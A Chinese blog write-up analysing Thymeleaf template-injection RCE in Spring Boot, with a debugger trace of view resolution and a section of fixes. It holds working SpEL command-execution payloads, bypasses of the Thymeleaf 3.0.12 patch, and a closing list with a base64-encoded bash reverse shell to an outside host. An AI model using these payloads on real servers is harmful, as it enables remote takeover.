前言
趁热打铁,昨天刚学完thymeleaf引擎今天直接上注入
参考:
https://www.anquanke.com/post/id/254519
https://exp10it.io/2023/02/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83/
https://www.cnpanda.net/sec/1063.html
以这个项目进行漏洞复现:https://github.com/veracode-research/spring-view-manipulation
环境jdk1.8 + springboot 2.2.0 +thymeleaf 3.0.11
原理
相关语法
在Thymeleaf 3.x 版本后,新增了~{...}
片段表达式,而出现SSTI问题的主要原因也在于此
复习一下语法:
~{templatename::selector}
**,会在/WEB-INF/templates/
目录下寻找名为templatename
的模版中定义的fragment
如有一个 html 文件的代码如下:
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body> <div th:fragment="banquan"> © 2021 ThreeDream yyds</div>
</body>
</html>
然后在另一template中可以通过片段表达式引用该片段:
<div th:insert="~{footer :: banquan}"></div>
th:insert
和th:replace
插入片段是比较常见的用法
~{templatename}
**:引用整个templatename
模版文件作为fragment
~{::selector}
或~{this::selector}
**:引用来自同一模版文件名为selector
的fragmnt
。在这里,selector
可以是通过th:fragment
定义的片段,也可以是类选择器、ID选择器等- 当
~{}
片段表达式中出现::
,那么::
后需要有值(也就是selector
)
Thymeleaf中的预处理表达式:__${expression}__
,因为预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行
现在切入正题
看这里的/path路由:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
乍一看只是一个语言选择的参数lang,但是这里采用的是 thymeleaf 模板,就出现了问题
在springboot + thymeleaf 中,如果视图名可控,就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后,Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板,在寻找的过程中,会将传入的参数当成SpEL表达式执行,从而导致了远程代码执行漏洞。
而这里的视图名,就是lang参数,当我们传入参数值en的时候,会正常渲染这里的en/welcome.html
接下来跟一下这个视图解析的过程,其实大部分都是MVC对request的处理流程,在MVC中是DispatcherServlet拦截请求并分发到Handler处理
SpringMVC 视图解析过程分析
下断点直接定位到DispatcherServlet#doDispatch
方法(所有的request和response都会经过该方法)
开始调试,传入/path?lang=en
首先获取到了Handler消息处理,之后进入doDispatch
方法的实现,这里重点注意下下面3个方法
ha.handle()
,获取ModelAndView也就是Controller中的return值applyDefaultViewName()
,对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值processDispatchResult()
,处理视图并解析执行表达式以及抛出异常回显部分处理
封装ModelAndView对象
先跟进到ha.handle()
调用了/org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class#handleInternal
然后继续跟,一路来到调用invokeHandlerMethod
方法,这里就是使用Handler处理request并获取ModelAndView
跟进invokeHandlerMethod
到调用invokeAndHandle
跟进invokeAndHandle
可以看到这里做了如下操作:
invokeForRequest
会调用Controller后获取返回值到returnValue
中这里的controller是HelloController.java
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
判断
returnValue
是否为空,如果是则继续判断isRequestHandled
是否为True
,都满足的话设置requestHandled
为true
通过
handleReturnValue
根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer
中
总结一下,就是根据用户输入的url,调用相关的controller,并将其返回值returnValue
,作为待查找的模板文件名,然后通过Thymeleaf模板引擎去查找,并返回给用户
可以看到经过了invokeForRequest
处理后return的字符串和前后缀拼接在了一起,然后在templates目录下寻找模板文件,这里找的就是templates/user/en/welcome.html
接下来跟到handleReturnValue
方法
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
//获取handler
HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
if (handler == null) {
throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
} else {
//执行handleReturnValue操作
handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
}
}
然后进ViewNameMethodReturnValueHandler#handleReturnValue
:
- 判断返回值类型是否为字符型,设置
mavContainer.viewName
- 判断返回值是否以
redirect:
开头,如果是的话则设置重定向的属性
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
//设置返回值为viewName
mavContainer.setViewName(viewName);
//判断是否需要重定向
if (this.isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
} else if (returnValue != null) {
throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
}
}
通过上面的操作,将返回值设置为mavContainer.viewName
执行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod
中。通过getModelAndView
获取ModelAndView
对象
getModelAndView
根据viewName
和model
创建ModelAndView
对象并返回
接下来跟进到applyDefaultViewName
方法
如果 ModelAndView 值不为null则什么也不做,否则如果defaultViewName
存在值则会给 ModelAndView 赋值为 defaultViewName,也就是将 URI path 作为视图名称
获取视图
接下来跟进到processDispatchResult
,获取到ModelAndView
值后会进入到processDispatchResult
方法
第1个if会被跳过,跟进第2个if中的render
方法
在render
方法中,首先会调用getViewName
来获取mv对象的viewName
然后调用resolveViewName
方法
循环遍历所有视图解析器解析视图,解析成功则返回,可以看到右下角这里有5个视图解析器
本以为会在ThymeleafViewResolver
中获取视图,实际调试发现这里在ContentNegotiatingViewResolver
中就已经获取到了视图
ContentNegotiatingViewResolver
视图解析器允许使用同样的数据获取不同的View,支持三种方式:
使用扩展名:
http://localhost:8080/employees/nego/Jack.xml
返回结果为XML
http://localhost:8080/employees/nego/Jack.json
返回结果为JSON
http://localhost:8080/employees/nego/Jack
使用默认view呈现,比如JSPHTTP Request Header中的Accept:Accept 分别是
text/jsp
,text/pdf
,text/xml
,text/json
和无Accept请求头
使用参数:
http://localhost:8080/employees/nego/Jack?format=xml
返回结果为XML
http://localhost:8080/employees/nego/Jack?format=json
返回结果为JSON
接下来跟进到ContentNegotiatingViewResolver#resolveViewName
方法
getCandidateViews
循环调用所有的ViewResolver解析视图,解析成功放到视图列表中返回。同样也会根据Accept头得到后缀并通过ViewResolver解析视图
接下来进入getBestView
,根据Accept头获取最优的视图返回
最终返回的是ThymeleafView
视图渲染
下一步是调用render
方法
进入ThymleafView#render
,接下来就是调用renderFragment
**,这里就是漏洞触发的关键点之一了
该方法在后面首先判断viewTemplateName
是否包含::
,若包含则获取解析器
然后调用parseExpression
方法将viewTemplateName
(也就是Controller中最后return的值)构造成片段表达式~{}
)并解析执行
因为我们这边的 viewTemplateName 为 user/en/welcome,所以不会进入parseExpression
回显原理
这种回显的本质其实是 throw 某个会包含表达式执行结果的异常,而在低版本的 springboot (<= 2.2) 中, server.error.include-message
的默认值为 always
,这使得默认的 500 页面会显示异常信息
但是在高版本的 springboot (>= 2.3) 中, 上述选项的默认值变成了 never
, 那么 500 页面就不会显示任何异常信息,所以这种回显形式还是会有一定的局限性
漏洞复现
templatename
漏洞代码:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
打入payload:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
PS:因为这里最后return的值为user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome
,无论我们payload如何构造最后都会拼接/welcome
,所以根据前面分析即使不加.x
依然可以触发命令执行
然后继续前面的分析,这样就进入了parseExpression
在StandardExpressionParser#parseExpression
中
通过preprocess
进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_
提取__xx__
间的内容
获取expression
可以看到这里返回的expression已经是一个SPEL表达式了
最终调用execute
方法,执行表达式
于是就弹出计算器了,同时抛出错误
所以这个漏洞的本质是SPEL表达式执行
selector
对于~{templatename::selector}
,因为前面是在templatename的位置注入表达式,那么我们同样也可以在selector处进行注入
漏洞代码:
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
payload:
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
其实这里也可以不需要.x
和::
也可触发命令执行
值得注意的是,templatename和selector这两个地方的注入点不同会导致有无回显的差别,即最后抛出异常,templatename是存在结果回显的而找不到selector不存在结果回显
原因是最终抛出 TemplateInputException
异常的时候携带的是 template,也就是 ::
前面的内容,并没有带出 selector,详情看下面的回显分析
URI path
漏洞代码:
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
payload:
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
前面提过,在applyDefaultViewName
方法处对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值即作为视图名称
所以我们直接在{document}
位置传入payload,能直接弹计算器
但是当我们尝试执行 whoami 时,并没有产生回显,而是原封不动输出了我们的payload
这是因为这个controller没有返回值,也不能有返回值,否则就不会调用applyDefaultViewName
设置,如果我们的controller改成下面这样,将不会导致代码执行
@GetMapping("/doc/{document}")
public String getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
return "welcome";
}
构造回显
templatename部分可控,没回显的原因在于defaultView中对URI path的处理,为了解决这个问题,我们可以在payload的最后加两个.
payload:
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::..
需要注意的是::
必须放在后面,放在前面虽然可以执行命令,但是没有回显,类似于templatename和selector的区别
造成这个问题的地方在StandardExpressionParser#parseExpression
,在preprocess
预处理结束后还会再走Expression.parse
进行一次解析,这里如果解析失败则不会回显
现在来使用::.x
结尾的payload:
可以看到这里::
后面是没有内容的,因此解析后expression的值为null,所以最终会抛出IllegalArgumentException
异常,携带的异常信息只包含了我们输入的内容, 并没有命令的回显
而使用::..
结尾的payload:
这一步是正常解析出了expression,值变成 FragmentExpression
之后返回到 ThymeleafView#renderFragment
方法, 往下会将表达式执行结果作为 templateName,并提取出 ::
后面的内容作为 selector
然后调用 viewTemplateEngine.process()
跟进 TemplateManager#resolveTemplate
templateResolver 负责在 classpath (prefix) 下依据 template (name) 和 suffix 寻找对应的模板文件
这里肯定是找不到的, 所以会抛出 TemplateInputException 异常, 但是这个异常会带出 tempate 名称并最终显示在 500 页面中, 因此达到了回显的效果
分析
现在分析一下为什么::.x
会被去掉:
在分析URI PATH
这种方式能获取ModelAndView
的原因时,我们分析过在applyDefaultViewName
中获取URI Path作为ModelAndView
的name,这个操作在DefaultRequestToViewNameTranslator#getViewName
中完成
@Override
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return (this.prefix + transformPath(lookupPath) + this.suffix);
}
getLookupPathForRequest
仅仅获取了请求的地址并没有对后面的.x
做处理,处理主要是在transformPath
中完成的
@Nullable
protected String transformPath(String lookupPath) {
String path = lookupPath;
if (this.stripLeadingSlash && path.startsWith(SLASH)) {
path = path.substring(1);
}
if (this.stripTrailingSlash && path.endsWith(SLASH)) {
path = path.substring(0, path.length() - 1);
}
if (this.stripExtension) {
path = StringUtils.stripFilenameExtension(path);
}
if (!SLASH.equals(this.separator)) {
path = StringUtils.replace(path, SLASH, this.separator);
}
return path;
}
stripFilenameExtension
会去除最后一个.
后的内容,所以可以通过下面的方式绕过
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas
总之就是让::
后面有内容才能实现回显
修复
配置ResponseBody或RestController注解
@GetMapping("/doc/{document}")
@ResponseBody
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
配置了ResponseBody
注解后,在applyDefaultViewName
中ModelAndView
是Null
而非ModelAndView
对象,所以hasView()
会导致异常,不会设置视图名
原因是设置了ResponseBody
注解后,handler返回的是RequestResponseBodyMethodProcesser
,所以这里会调用它的handleReturnValue
,设置了RequestHandled
属性为True
此方法也适用于templatename
,在设置了RequestHandled
属性后,ModelAndView
一定会返回Null
这样 spring 框架就不会将其解析为视图名,而是直接返回,不再调用模板解析
通过redirect:
根据springboot定义,如果名称以
redirect:
开头,则不再调用ThymeleafView
解析,调用RedirectView
去解析controller
的返回值
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}
方法参数中设置HttpServletResponse 参数
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析
其它姿势
::位置
::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__
省略__
当Controller如下配置时,可以省略__
包裹
@RequestMapping("/path")
public String path2(@RequestParam String lang) {
return lang; //template path is tainted
}
即去掉了前后缀
payload:
$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x
高版本下的bypass
在3.0.12版本,Thymeleaf 在 util
目录下增加了一个名为SpringStandardExpressionUtils.java
的文件
当调用表达式的时候,会经过该函数的判断:
public static boolean containsSpELInstantiationOrStatic(final String expression) {
final int explen = expression.length();
int n = explen;
int ni = 0; // index for computing position in the NEW_ARRAY
int si = -1;
char c;
while (n-- != 0) {
c = expression.charAt(n);
if (ni < NEW_LEN
&& c == NEW_ARRAY[ni]
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true; // we found an object instantiation
}
continue;
}
if (ni > 0) {
n += ni;
ni = 0;
if (si < n) {
// This has to be restarted too
si = -1;
}
continue;
}
ni = 0;
if (c == ')') {
si = n;
} else if (si > n && c == '('
&& ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
&& ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
return true;
} else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}
}
return false;
}
可以看到其主要逻辑是:首先倒序检测是否包含wen
关键字、在(
的左边的字符是否是T
,如包含,那么认为找到了一个实例化对象,返回true
,阻止该表达式的执行
因此要绕过这个函数,只要满足三点:
1、表达式中不能含有关键字new
2、在(
的左边的字符不能是T
3、不能在T
和(
中间添加的字符使得原表达式出现问题
关于这个的绕过方法是%20
,%0a
,%09
最终payload:
/path;/__${t(java.lang.runtime).getruntime().exec("calc")}__::.x
/path//__${t(java.lang.runtime).getruntime().exec("calc")}__::.x
注意:命令执行的payload 中不能含有/
2.x版本
片段表达式 ~{ }
这个特性是在 3.0 版本引入的,但是其实 2.x 版本也能触发漏洞
同样存在 preprocess 方法来处理预处理表达式
对于不含预处理表达式的 payload, 同样能够执行, 只是位置不太一样
其它的payload
__${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
__${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
3.0.15版本,来自于rwctf2024
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]
或者
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}')}" th:title='pepito'>